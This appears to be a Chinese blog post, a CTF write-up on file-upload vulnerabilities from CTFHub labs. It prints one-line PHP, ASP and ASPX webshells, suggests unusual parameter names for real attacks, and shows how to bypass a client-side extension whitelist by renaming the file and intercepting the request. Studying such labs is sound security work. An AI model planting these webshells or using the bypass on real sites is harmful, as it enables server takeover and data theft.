欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

文件上传

程序员文章站 2022-05-14 08:41:09
...

一句话木马

最常见的一句话木马

<?php eval($_POST['cmd']); ?>
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘attack’]表示从页面中获得attack这个参数值。

CTFHub文件上传为例

01 无验证

写个一句话shell传上去,然后手动或者用蚁剑(这周任务学完写个蚁剑的简单用法总结)连上去,在www目录(好像),就可以找到flag文件,打开就可以拿到flag。
一句话,实战的话,尽量用一些比较特别的参数名

当然也可以手工shell,手工shell的话,eval里要用GET

写一个php文件为一句话木马

文件上传
得到相对路径,打开,输出123即为成功。

文件上传
文件上传打开蚁剑,添加

文件上传
保存,打开,得到

文件上传
打开flag_ 文件,得到flag

文件上传

前端禁用

上传一句话,提示不允许上传。

文件上传
查看源代码,有检测的js代码,显示只能上传后缀为jpg,png,gif类型

<script>
function checkfilesuffix()
{
    var file=document.getElementsByName('file')[0]['value'];
    if(file==""||file==null)
    {
        alert("请添加上传文件");
        return false;
    }
    else
    {
        var whitelist=new Array(".jpg",".png",".gif");
        var file_suffix=file.substring(file.lastIndexOf("."));
        if(whitelist.indexOf(file_suffix) == -1)
        {
            alert("该文件不允许上传");
            return false;
        }
    }
}
</script>

shell.php 改为 shell.php.jpg 类型,可看到上传成功

文件上传
bp抓包,将 shell.php.jpg 给改回 php 文件

文件上传

文件上传
send得到相对路径为 upload/shell.php
文件上传
得到123,即上传成功

文件上传
用蚁剑打开得到flag

文件上传
文件上传
文件上传

相关标签: CTFWeb php shell